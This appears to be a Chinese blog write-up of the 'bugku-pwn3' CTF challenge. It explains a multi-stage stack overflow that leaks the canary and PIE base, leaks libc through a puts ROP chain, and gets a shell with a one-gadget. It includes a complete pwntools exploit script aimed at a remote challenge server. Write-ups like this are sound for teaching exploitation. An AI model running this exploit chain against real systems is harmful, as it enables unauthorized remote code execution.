bugku-pwn3

题目保护全开,leak canary+libc。

好久没发blog了

思路

程序有两次输入机会,第一次可以任意输入,同时输入完还会打印出输入的内容。第二次最多只能输入624个字符,而输入624个字符正好可以把返回地址覆盖完毕。通过把返回地址覆盖成main地址,实现多次运行main函数,完成所需的leak以及最终获取shell。

第一次运行main

第一次输入,覆盖掉canary的\x00位,在之后程序就会打印出canary,第二次输入的时候就可以绕过canary保护。PIE保护会导致程序的地址随机化,但是后三位是不会变的,例如第二次输入完后程序的返回地址main+e的后三位就是0xd2e,利用输入把2e覆盖成20,程序就会再次运行main函数。

第二次运行main

第一次输入时,覆盖到返回地址前,这样程序会打印出main+e的地址,结合ida分析的结果可以得到程序的基址。第二次输入同第一次main函数。

第三次运行main

第一次输入时,布置好栈,使程序运行puts,打印出puts的got表地址,同时打印完返回到main函数。第二次输入同第一次输入,但是只需要624个字符。

第四次运行main

第一次输入时,布置好栈,使程序运行puts,打印出read的got表地址,同时打印完返回到main函数。第二次输入同第一次输入,但是只需要624个字符。

获取了read和puts的地址后就可以知道libc的版本以及基址。

第五次运行main

第一次输入忽略,第二次输入把返回地址修改成onegadget地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
puts_plt=0x8b0
puts_got=0x202018
read_got=0x202048
pop_rdi=0xe03
sh=remote('114.116.54.89',10000)
sh.recvuntil("path:\n")
sh.sendline("flag")
sh.recvuntil("len:\n")
sh.sendline("624")
sh.recvuntil("note:\n")
sh.sendline('a'*600)
sh.recvuntil('aaaaaaaaa\n')
canary=u64("\x00"+sh.recv(7))
sh.recvuntil(")\n")
sh.send('a'*600+p64(canary)+p64(1)+'\x20')
sh.recvuntil("path:\n")
sh.sendline("flag")
sh.recvuntil("len:\n")
sh.sendline("624")
sh.recvuntil("note:\n")
sh.sendline('a'*615)
sh.recvuntil('aaaaaaaaa\n')
main=u64(sh.recv(6)+"\x00\x00")-0xe
base=main-0xd20
sh.recvuntil(")\n")
sh.send('a'*600+p64(canary)+p64(1)+'\x20')
sh.recvuntil("path:\n")
sh.sendline("flag")
sh.recvuntil("len:\n")
sh.sendline("1000")
sh.recvuntil("note:\n")
sh.sendline('a'*600+p64(canary)+p64(1)+p64(pop_rdi+base)+p64(puts_got+base)+p64(puts_plt+base)+p64(main))
sh.recvuntil(")\n")
sh.send('a'*600+p64(canary)+p64(1)+p64(pop_rdi+base))
puts=u64(sh.recv(6)+"\x00\x00")
print hex(puts)
sh.recvuntil("path:\n")
sh.sendline("flag")
sh.recvuntil("len:\n")
sh.sendline("1000")
sh.recvuntil("note:\n")
sh.sendline('a'*600+p64(canary)+p64(1)+p64(pop_rdi+base)+p64(read_got+base)+p64(puts_plt+base)+p64(main))
sh.recvuntil(")\n")
sh.send('a'*600+p64(canary)+p64(1)+p64(pop_rdi+base))
read=u64(sh.recv(6)+"\x00\x00")
print hex(read)
libc=read-0x0f7250
sh.recvuntil("path:\n")
sh.sendline("flag")
sh.recvuntil("len:\n")
sh.sendline("1000")
sh.recvuntil("note:\n")
sh.sendline('a'*600)
sh.recvuntil(")\n")
sh.send('a'*600+p64(canary)+p64(1)+p64(0xf1147+libc))
sh.interactive()
文章目录
  1. 1. 思路
  2. 2. 第一次运行main
  3. 3. 第二次运行main
  4. 4. 第三次运行main
  5. 5. 第四次运行main
  6. 6. 第五次运行main
  7. 7. exp
|